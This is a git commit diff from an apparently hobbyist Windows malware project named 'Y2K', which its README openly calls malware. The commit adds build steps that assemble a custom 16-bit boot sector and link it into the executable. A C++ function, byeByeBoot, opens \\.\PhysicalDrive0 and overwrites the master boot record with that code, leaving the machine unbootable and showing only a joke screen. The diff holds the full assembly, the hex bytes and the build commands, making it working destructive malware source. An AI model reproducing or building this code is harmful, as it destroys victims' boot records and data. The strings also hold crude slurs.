Add dynamic bootloader compilation
This commit is contained in:
parent
0b4cc4f6b6
commit
51b7464f02
GPG Key ID:
31FE0B16CB1045E7
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@ -1,4 +1,5 @@
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bin/
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bin/*.exe
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res/*.o
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bootloader/*.bin
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mbr/*.bin
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mbr/*.o
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8
Makefile
8
Makefile
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@ -1,6 +1,8 @@
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.PHONY: all clean
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CXX := i686-w64-mingw32-g++
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LD := i686-w64-mingw32-ld
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NASM := nasm
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WINDRES := i686-w64-mingw32-windres
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SRC := $(wildcard src/*)
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@ -10,8 +12,10 @@ all: main
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main: $(BIN)
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@mkdir -p bin
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$(WINDRES) -o res/resource.o res/resource.rc
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$(CXX) $(SRC) res/resource.o -static -l gdi32 -l winmm -o bin/Y2K
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$(NASM) -o mbr/bootloader.bin mbr/bootloader.asm
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$(LD) -r -b binary -o mbr/bootloader.o mbr/bootloader.bin
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$(CXX) $(SRC) res/resource.o mbr/bootloader.o -static -l gdi32 -l winmm -o bin/Y2K
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clean:
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@echo "Cleaning up..."
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@rm -fr bin/* res/*.o bootloader/*.bin
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@rm -fr bin/* res/*.o mbr/*.bin mbr/*.o
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18
README.org
18
README.org
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@ -11,38 +11,42 @@ To run this malware you need a Windows XP macchine with date set to <2000-01-01>
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You will need *MinGW* and *Make*. You can parse the
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argument =CXX= to change the C++ compiler (the default is ~i686-w64-mingw-g++~) and
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the =WINDRES= to change the default ~windres~ command (the default is ~i686-w64-mingw-windres~).
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You can change the =CXX= and =WINDRES= to ~x86_64-wi64-mingw-g++~ and ~x86_64-wi64-mingw-windres~ respectively to build it natively for 64bit envioriments.
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Others arguments are =NASM= and =LD= for changing the nasm and ld commands.
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You can change the =CXX= and =WINDRES= and =LD= to ~x86_64-w64-mingw-g++~ and ~x86_64-w64-mingw-windres~ and ~x86_64-w64-mingw32-ld~ respectively to build it natively for 64bit envioriments.
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*** Arch linux:
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#+BEGIN_SRC shell
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pacman -S mingw-w64 make
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pacman -S make mingw-w64 nasm
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make
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#+END_SRC
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*** Ubuntu
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#+BEGIN_SRC shell
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apt install mingw-w64 make
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apt install make mingw-w64 nasm
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make
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#+END_SRC
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You can also execute ~make clean~ to clean =bin/= folder, =.o= files on =res/= and =.bin= files on folder =bootloader/=.
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You can also execute ~make clean~ to clean =bin/= folder, =.o= files on =res/= and =.bin= and =.o= files on folder =mbr/=.
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** On Windows
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You will need to install [[https://sourceforge.net/projects/mingw/][MinGW]] or another C++ compiler.
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You will need to install [[https://sourceforge.net/projects/mingw/][MinGW]] or another C++ compiler
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and [[https://nasm.us/][NASM]].
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Then run the command:
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#+BEGIN_SRC batch
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windres -o res\resource.o res\resource.rc
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g++ src\* res\resource.o -static -l gdi32 -l winmm -o Y2K
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nasm -o mbr\bootloader.bin mbr\bootloader.asm
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ld -r -b binary -o mbr\bootloader.o mbr\bootloader.bin
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g++ src\* res\resource.o mbr\bootloader.o -static -l gdi32 -l winmm -o Y2K
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#+END_SRC
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* Bootloader
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This project has a void function under the namespace called byeByeBoot, this function load and write the custom bootloader code to the EFI partition. The source code and building instructions for the binaies can be found [[src/bootloader/][here]].
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This project has a void function under the namespace called byeByeBoot, this function load and write the custom bootloader code to the EFI partition. The source code the binary can be found [[src/mbr/][here]].
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* Payloads
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@ -2,6 +2,5 @@
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This is the bootloader source code of Y2K. to build run ~nasm bootloader.asm -o bootloader.bin~
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You can execute the ~python getHex.py bootloader.bin~ to get the formated bootloader bytes plus
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the size of the generated array and put it in the bootloader contant in =src/payloads.h= alongside
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with the printed size.
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You need to execute ~ld -r -b binary -o bootloader.o bootloader.bin~ to create the object file used to
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compile the code.
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@ -1,166 +1,166 @@
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[BITS 16] ; Bootloader file 16 bits
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[ORG 0x7C00] ; Memory region that BIOS load the file
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; Setup video segment 320x200 - 256 color
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; Setup
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cli
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push 0x0A000
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pop es
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xor di, di
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mov ax, 0x13
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int 0x10
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; The code realy starts here
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mov cx, 0x15
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call sleep
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mov si, str1
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mov dl, 0x0c
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mov dh, 0x0a
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call cursor
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call print
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mov cx, 0x15
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call sleep
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mov si, str2
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mov dl, 0x06
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mov dh, 0x0c
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call cursor
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call print
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; Prepare for notepad_rules mode...
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mov cx, 0x15
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call sleep
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xor dl, dl
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xor dh, dh
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call cursor
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mov si, str3
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mov bl, 0x7
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sigma:
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mov ah, 0xe
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lodsb
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int 0x10
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or al, al
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jnz sigma
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add dl, 0x10
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call cursor
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notepad_rules:
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; Read char from keyboard
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xor ah, ah
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int 0x16
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; Verify if Backspace key was pressed
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cmp al, 0x8
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je delete_char
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; Verify if Enter key was pressed
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cmp al, 0x0d
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je inc_y
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; Verify if the line reached on end
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cmp dl, 0x27
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jge inc_y
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; Check for keys to call egg function
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cmp al, 0x1b ; ESC
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je e1
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cmp al, 0x36 ; 6
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je e2
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cmp al, 0x39 ; 9
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je e3
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cmp al, 0x09 ; TAB
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je e4
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; Print char on screen
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mov ah, 0x0a
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xor bh, bh
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mov bl, 0x0f
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mov cx, 0x01
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int 0x10
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inc dl
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call cursor
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jmp notepad_rules
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inc_y:
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xor dl, dl
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inc dh
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call cursor
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jmp notepad_rules
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delete_char:
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dec dl
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call cursor
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jmp notepad_rules
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e1:
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mov si, easter1
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jmp eternal
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e2:
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mov si, easter2
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jmp eternal
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e3:
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mov si, easter3
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jmp eternal
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e4:
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mov si, easter4
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; jmp eternal (it's down here)
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eternal:
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xor dl, dl
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xor dh, dh
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call cursor
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call print
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hlt
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; Set cursor position
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; dl - Columns - x
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; dh - Rows - y
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cursor:
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cli
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mov ah, 0x2
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mov bh, 0x0
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int 0x10
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ret
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; Print some gay string
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; si - string
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print:
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cli
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mov bl, 0x21
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l:
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mov ah, 0xe
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lodsb
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inc bl
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int 0x10
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or al, al
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jnz l
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ret
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; Delay
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; cx - delay value in microsseconds
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sleep:
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cli
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mov ah, 0x86
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mov dx, 0x0
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int 0x15
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ret
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str1 db "Happy new Year!", 0
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str2 db "Enjoy this useless payload...", 0
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str3 db "Type something: ", 0
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easter1 db "You find a EasterEgg, OMG!", 0
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easter2 db "This Code is so buggy. >:C", 0
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easter3 db "I really hate this mbr payload.", 0
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easter4 db "You're very gay. B)", 0
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times 510 - ($-$$) db 0 ; Fill the file with 0 510 times'
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dw 0xAA55 ; Magic number used by BIOS to identify the file
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[BITS 16] ; Bootloader file 16 bits
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[ORG 0x7C00] ; Memory region that BIOS load the file
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; Setup video segment 320x200 - 256 color
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; Setup
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cli
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push 0x0A000
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pop es
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xor di, di
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mov ax, 0x13
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int 0x10
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; The code realy starts here
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mov cx, 0x15
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call sleep
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mov si, str1
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mov dl, 0x0c
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mov dh, 0x0a
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call cursor
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call print
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mov cx, 0x15
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call sleep
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mov si, str2
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mov dl, 0x06
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mov dh, 0x0c
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call cursor
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call print
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; Prepare for notepad_rules mode...
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mov cx, 0x15
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call sleep
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xor dl, dl
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xor dh, dh
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call cursor
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mov si, str3
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mov bl, 0x7
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sigma:
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mov ah, 0xe
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lodsb
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int 0x10
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or al, al
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jnz sigma
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add dl, 0x10
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call cursor
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notepad_rules:
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; Read char from keyboard
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xor ah, ah
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int 0x16
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; Verify if Backspace key was pressed
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cmp al, 0x8
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je delete_char
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; Verify if Enter key was pressed
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cmp al, 0x0d
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je inc_y
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; Verify if the line reached on end
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cmp dl, 0x27
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jge inc_y
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; Check for keys to call egg function
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cmp al, 0x1b ; ESC
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je e1
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cmp al, 0x36 ; 6
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je e2
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cmp al, 0x39 ; 9
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je e3
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cmp al, 0x09 ; TAB
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je e4
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; Print char on screen
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mov ah, 0x0a
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xor bh, bh
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mov bl, 0x0f
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mov cx, 0x01
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int 0x10
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inc dl
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call cursor
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jmp notepad_rules
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inc_y:
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xor dl, dl
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inc dh
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call cursor
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jmp notepad_rules
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delete_char:
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dec dl
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call cursor
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jmp notepad_rules
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e1:
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mov si, easter1
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jmp eternal
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e2:
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mov si, easter2
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jmp eternal
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e3:
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mov si, easter3
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jmp eternal
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e4:
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mov si, easter4
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; jmp eternal (it's down here)
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eternal:
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xor dl, dl
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xor dh, dh
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call cursor
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call print
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hlt
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; Set cursor position
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; dl Columns x
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; dh Rows y
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cursor:
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cli
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mov ah, 0x2
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mov bh, 0x0
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int 0x10
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ret
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; Print some gay string
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; si string
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print:
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cli
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mov bl, 0x21
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l:
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mov ah, 0xe
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lodsb
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inc bl
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int 0x10
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or al, al
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jnz l
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ret
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; Delay
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; cx delay value in microsseconds
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sleep:
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cli
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mov ah, 0x86
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mov dx, 0x0
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int 0x15
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ret
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str1 db "Happy new Year!", 0
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str2 db "Enjoy this useless payload...", 0
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str3 db "Type something: ", 0
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easter1 db "You find a EasterEgg, OMG!", 0
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easter2 db "This Code is so buggy. >:C", 0
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easter3 db "I really hate this mbr payload.", 0
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easter4 db "You're very gay. B)", 0
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times 510 - ($-$$) db 0 ; Fill the file with 0 510 times
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dw 0xAA55 ; Magic number used by BIOS to identify the file
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@ -1,30 +0,0 @@
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from sys import argv, exit as exitc
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if len(argv) > 2:
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print('Please inform just one file!')
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exitc(2)
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elif len(argv) != 2:
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print('Plase inform a file!')
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exitc(3)
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try:
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file = open(argv[1], 'rb')
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except FileNotFoundError:
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print('The specified file was not found!')
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exitc(4)
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content = file.read()
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file.close()
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for i in range(len(content)):
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if i%12 == 0:
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print('')
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print(format(content[i], '#04x'), end='')
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if i != len(content)-1:
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print(', ', end='')
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print('\nSize:', len(content))
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11
src/main.cpp
11
src/main.cpp
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@ -2,6 +2,9 @@
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#include "payloads.h"
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#include "bytebeats.h"
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extern char binary_mbr_bootloader_bin_start[];
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extern char binary_mbr_bootloader_bin_end[];
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int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd){
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HANDLE t1, t2, t3, t4;
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@ -19,7 +22,11 @@ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine
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PlaySound(MAKEINTRESOURCE(2), hInstance, SND_RESOURCE);
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ExitProcess(0);
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case 2:
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Payloads::byeByeBoot();
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Payloads::byeByeBoot((unsigned int)
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(binary_mbr_bootloader_bin_end -
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binary_mbr_bootloader_bin_start),
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binary_mbr_bootloader_bin_start,
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binary_mbr_bootloader_bin_end);
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break;
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case 3:
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ExitProcess(0);
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@ -78,4 +85,4 @@ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine
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}
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return 0;
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}
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}
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@ -47,57 +47,22 @@ namespace Payloads {
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return 3;
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}
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void byeByeBoot(){
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const unsigned char bootloader[512] = {
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0xFA, 0x68, 0x00, 0xA0, 0x07, 0x31, 0xFF, 0xB8, 0x13, 0x00, 0xCD, 0x10,
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0xB9, 0x15, 0x00, 0xE8, 0xB8, 0x00, 0xBE, 0xD3, 0x7C, 0xB2, 0x0C, 0xB6,
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0x0A, 0xE8, 0x97, 0x00, 0xE8, 0x9C, 0x00, 0xB9, 0x15, 0x00, 0xE8, 0xA5,
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0x00, 0xBE, 0xE3, 0x7C, 0xB2, 0x06, 0xB6, 0x0C, 0xE8, 0x84, 0x00, 0xE8,
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0x89, 0x00, 0xB9, 0x15, 0x00, 0xE8, 0x92, 0x00, 0x30, 0xD2, 0x30, 0xF6,
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0xE8, 0x74, 0x00, 0xBE, 0x01, 0x7D, 0xB3, 0x07, 0xB4, 0x0E, 0xAC, 0xCD,
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0x10, 0x08, 0xC0, 0x75, 0xF7, 0x80, 0xC2, 0x10, 0xE8, 0x60, 0x00, 0x30,
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0xE4, 0xCD, 0x16, 0x3C, 0x08, 0x74, 0x34, 0x3C, 0x0D, 0x74, 0x27, 0x80,
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0xFA, 0x27, 0x7D, 0x22, 0x3C, 0x1B, 0x74, 0x2E, 0x3C, 0x36, 0x74, 0x2F,
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0x3C, 0x39, 0x74, 0x30, 0x3C, 0x09, 0x74, 0x31, 0xB4, 0x0A, 0x30, 0xFF,
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0xB3, 0x0F, 0xB9, 0x01, 0x00, 0xCD, 0x10, 0xFE, 0xC2, 0xE8, 0x2F, 0x00,
|
||||
0xEB, 0xCD, 0x30, 0xD2, 0xFE, 0xC6, 0xE8, 0x26, 0x00, 0xEB, 0xC4, 0xFE,
|
||||
0xCA, 0xE8, 0x1F, 0x00, 0xEB, 0xBD, 0xBE, 0x12, 0x7D, 0xEB, 0x0D, 0xBE,
|
||||
0x2D, 0x7D, 0xEB, 0x08, 0xBE, 0x48, 0x7D, 0xEB, 0x03, 0xBE, 0x68, 0x7D,
|
||||
0x30, 0xD2, 0x30, 0xF6, 0xE8, 0x04, 0x00, 0xE8, 0x09, 0x00, 0xF4, 0xFA,
|
||||
0xB4, 0x02, 0xB7, 0x00, 0xCD, 0x10, 0xC3, 0xFA, 0xB3, 0x21, 0xB4, 0x0E,
|
||||
0xAC, 0xFE, 0xC3, 0xCD, 0x10, 0x08, 0xC0, 0x75, 0xF5, 0xC3, 0xFA, 0xB4,
|
||||
0x86, 0xBA, 0x00, 0x00, 0xCD, 0x15, 0xC3, 0x48, 0x61, 0x70, 0x70, 0x79,
|
||||
0x20, 0x6E, 0x65, 0x77, 0x20, 0x59, 0x65, 0x61, 0x72, 0x21, 0x00, 0x45,
|
||||
0x6E, 0x6A, 0x6F, 0x79, 0x20, 0x74, 0x68, 0x69, 0x73, 0x20, 0x75, 0x73,
|
||||
0x65, 0x6C, 0x65, 0x73, 0x73, 0x20, 0x70, 0x61, 0x79, 0x6C, 0x6F, 0x61,
|
||||
0x64, 0x2E, 0x2E, 0x2E, 0x00, 0x54, 0x79, 0x70, 0x65, 0x20, 0x73, 0x6F,
|
||||
0x6D, 0x65, 0x74, 0x68, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x00, 0x59, 0x6F,
|
||||
0x75, 0x20, 0x66, 0x69, 0x6E, 0x64, 0x20, 0x61, 0x20, 0x45, 0x61, 0x73,
|
||||
0x74, 0x65, 0x72, 0x45, 0x67, 0x67, 0x2C, 0x20, 0x4F, 0x4D, 0x47, 0x21,
|
||||
0x00, 0x54, 0x68, 0x69, 0x73, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x69,
|
||||
0x73, 0x20, 0x73, 0x6F, 0x20, 0x62, 0x75, 0x67, 0x67, 0x79, 0x2E, 0x20,
|
||||
0x3E, 0x3A, 0x43, 0x00, 0x49, 0x20, 0x72, 0x65, 0x61, 0x6C, 0x6C, 0x79,
|
||||
0x20, 0x68, 0x61, 0x74, 0x65, 0x20, 0x74, 0x68, 0x69, 0x73, 0x20, 0x6D,
|
||||
0x62, 0x72, 0x20, 0x70, 0x61, 0x79, 0x6C, 0x6F, 0x61, 0x64, 0x2E, 0x00,
|
||||
0x59, 0x6F, 0x75, 0x27, 0x72, 0x65, 0x20, 0x76, 0x65, 0x72, 0x79, 0x20,
|
||||
0x67, 0x61, 0x79, 0x2E, 0x20, 0x42, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xAA
|
||||
};
|
||||
void byeByeBoot(int size,char* start,char* end){
|
||||
unsigned char bootloader[size];
|
||||
int index = 0;
|
||||
for(char* i = start; i != end; ++i) {
|
||||
bootloader[index] = *i;
|
||||
index++;
|
||||
}
|
||||
|
||||
DWORD bWriten;
|
||||
|
||||
HANDLE mbr = CreateFileA(TEXT("\\\\.\\PhysicalDrive0"), GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
|
||||
WriteFile(mbr, bootloader, 512, &bWriten, NULL);
|
||||
HANDLE mbr = CreateFileA(TEXT("\\\\.\\PhysicalDrive0"),
|
||||
GENERIC_ALL,
|
||||
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
||||
0, OPEN_EXISTING, 0, 0);
|
||||
|
||||
WriteFile(mbr, bootloader, size, &bWriten, NULL);
|
||||
CloseHandle(mbr);
|
||||
}
|
||||
|
||||
|
|
|
|||
Loading…
Reference in New Issue